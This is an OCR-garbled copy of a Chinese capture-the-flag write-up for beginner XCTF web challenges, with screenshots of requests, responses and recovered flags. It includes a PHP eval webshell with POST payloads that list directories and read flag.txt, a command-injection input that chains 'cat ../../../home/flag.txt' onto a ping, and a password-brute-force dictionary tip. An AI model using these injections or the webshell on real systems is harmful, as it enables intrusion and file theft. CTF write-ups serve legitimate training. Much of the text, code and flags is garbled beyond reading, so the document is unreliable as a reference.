xctftt: X Bfi#1

Spwpun F 2019-03-30 22:10:09 K 1 2752 e 4

SFHRER: writeup

FRALE B ASCRE ERAICE, #IE_CC 4.0 BY-SA RN, HEFM BRSO s A S,
ACEERE: https://blog.csdn.net/plp9822/article/details/88920146

writeu LS A AR
15 MXCE 1T
TR B A
web-F F A :
XEHF
web-Fr FHE
view-source:
get_post:
robots:
backup:

github T. E.dirsearchff {3 i :
cookie:
disabled_button:
simple_js:
xff_referer:
weak_auth:
webshell:
command_execution:

simple_php:

view-source:

RArABENTERTIE, rF12 BFHW:

we ¥ {body > == %8
F{scriptr.<fscripts
<h1>FLAG is not here</hl:
{1-- XCLF{83797c32968183084808cbBedi24ceBbid} -->
</body>
</html>


https://blog.csdn.net/lplp9822
https://blog.csdn.net/lplp9822/category_7705222.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/lplp9822/article/details/88920146
https://blog.csdn.net/lplp9822/category_7705222.html

get_post:

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~ Chrome BackBar

& Load URL http://111.198.29.45:31818/7a=1
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¥ = Post data | (] Referrer [] User Agent [] Cookies
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xctf{066f9e9e1ed408a82b5a0dcOb1737b0f}

robots:
i lalrobots.txt, K Iflag 1s_h3re.php R H:

|
« ¢ (M 111.198.29.45:31870/robots.txt
User—agzent: *

Disallow:
Disallow: flas_ls_h3re. php

Yiflag_1s_h3re.php Bl :

< c @ (@ 111.198.29.45:31870/f1ag_1s_h3re.php
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J<body:>
<n3>fRAIIE index. php M F G X HEE? </n3s

J<?php

-</body>
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fFH F12 BEHE WM LKA Z, cookield 2.
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Connection: Keep-alive
Content-Encoding: gzip
Content-Length: 276
Content-Type: text/html

@ Date: 5at, 30 Mar 2019 09:58:37 GMT
Keep-Alive: timeout=5, max=100
Server. Apache/2.4.7 (Ubuntu)
Set-Cookie] look-here=cookiephp |

Vary. Accept-Encoding
X-Powered-By: PHP/5.5.9-1ubuntu4.26
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&Rl http://111.198.29.45:31898/ cookis.php
ERAE: cET
ifetthhl: 111.198.29.45:31898
s ok (B SENEE Eek
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Referrer {25 no-referrer-when-downgrade
- MR (319 =735)
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 253
Content-Type: text/html
Date: Sat 30 Mar 2019 09:59:55 GMT
flag] xctfieads3dddffasebdaeefd2eazcaabsafe) |
Keep-alive: timeout=5, max=100
Server: Apache/2.47 (Ubuntu)
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w <body>
<hB>—MPEEEAIEE </ h3>
w <«form action="" method="post™
<input class="btn btn-default" sty]e:'height:Sapx;width:zaapx;" type="submit" wvalue="flag"
name="auth">

O ———

<input class="btn btn-default"™ disabled="" style="height:sepx;wic
name="auth">
</form:
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function dechiffre(pass_enc){
var pass
var tab pass_enc.split( )
var tab2 pass.split( )
var i,j,k,1=0,m,n,0,p ;
i 0;
tab.length;
k =3+ (1) + (n=0);
n = tab2.length;
for(i (0=0); i (k

tab[i-1];
String.fromCharCode( (o tab2[i]));
if(i 5)break;}

for(i (0=0); i (k j n); i

o] tab[i-1];
if(i 5 i k-1)
p String.fromCharCode( (o
)i
p String.fromCharCode(tab2[17]);
PE p;return pass;

)i
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h = window.prompt (
alert( dechiffre(h) );

String.fromCharCode f&¥iUnicodemiL# N FZ/F 8, HEIEWpasssE String["fromCharCode"] #HIZ R, Fpythonkb#E—TF
HRTRE:

Python 3.6.6 ~Jun 27 2018, 03:37:03) [MSC v.1900 64 bit (AMD64)] on win32

for more information

Type "help”, "e
] r_'.—'i”l [N

»>2» char
['55%, '5&",
»»» type (char)
‘class "list'>
»»» for eha in char
print(chi (int(cha)), end=

lraceback (most recent call last):
File "<stdin>", line 2, in <module>
NameError: name ‘chi’ is not defined
»»» for eha in char
print (chr {int (cha)), end=
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Host: 111.198.29.45:31931
Pragma: no-cache

hefereh hitps./Awww.google.com I

Upgrade-Insecure-Requests: 1

User—Agent: MozillagE.{J ?Windows MT 10.0; ...} Gecko/20100101 Firefox/65.0

PR e B B R Blflag:

‘dema™ ). innerHTML="xctf{cE4cB994341576F628637995243197da}"; </scripte<,

weak_auth:

Burpsuite/&i, MRHEHF R, RBIGitHub B REBWERHEHZEL 74, hitps:/github.com/rootphantomer/Blasting_dictionary

jlthHaadersIHexIHmLIRender]

Content-Type: text/html

O<!DOCTYFE html>
<html lang="en":=
<head>
<meta charset="UTF-8">
<title>weak auth</title>
</head>
<hody>

wct£{11eb91b52TeTdb3610038156%eed868E} §/ ——naybe you need a dictionary-->

</hody> \

</html>
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¥ F 3% J1 3% Ewebshell:

it Ihttp:fflll. 195, 29, 45:31990, 1ndex. php Ishell
BE:
BiF: |

[Bi 255 e Eval) = | [RE—_—

HIEMUE M H X FHA flag.txt :

111, 198.25.45 B 0), @) . i o B

= q'[é] B flag txt | 2019-03-30 12:39:12 38 0664
= var -

B www & index. php 2018-09-27 04:02:04 538 0664

& B
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i‘k)‘\ Fwar fwww,himl i flag txt
notf{af8aP070al £1342006 £ da063£1 96000 a)

B B AE D 4% BL T8 1 php B8 #ok R B flag:
getewd R R IKE /T B 3, scandirR 43 AT B 3 T BISCHRIFIELE RAEFAE AN AP, print_r2ITEHHER:

{R<{sEwebshelll5?

Array ( [0] == . [1] = .. [2] = flag.txt [3] =>
index.php ) <?php
@eval($_POST['shell);

OESEE OFfls OEE (1EERE8 O RFE =—FME S EE +X @ HackBar

‘ncryption ~  Encoding +  SQL » XSS~  Other = Chrome BackBar
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Z Postdata [] Referrer [] User Agent [] Cookies

shell=print_r(scandir{getcwd())); *__-—_—
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H:
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@evals_PoST[shel]) 7=

dglse DESE ((EESE C#uE 4AF =B\ B FE + AEEHE @ HackBar

Encoding ~ SQL~ XSS~ Other » Chrome BackBar

hitp://111.198.20.45:31900/

Postdata [] Referrer [] User Agent [] Cookies

shell=print_r({fgets(fopen('flag td'.'r'))) h—____

command_execution:
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PING

SN EEpinghaithik

PING

ping -c 3 111.198.29.45|cat ../../../home/flag.txt
xctf{87e@c8e5014d30023Fcd5T5615e8eeld}

simple_php:
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Encryption ~ Encoding ~ SQL ~ XSS~ Other ~ Chrome BackBar

g Load URL hitp:/A111.196.29.45:32044/?a=0x080b40x1234 %00

g.g Split URL

| Execute
E [ Postdata [] Referrer [] User Agent [] Cookies

BIRE, RBERENMIE, Bk, K3

EiRphpdg A L

phpH A Fifh LT 5

==: Sl AT B R AL AR, PR

= Sl AT B AL AR, PGB

R R LB I, A R 2 S e o B R A

T H# php var_dump(‘a’ == 0);//true, iX B ’a S EFE
0 var_dump(‘“123a’ == 123);//true, iXE'123a' 4 H123
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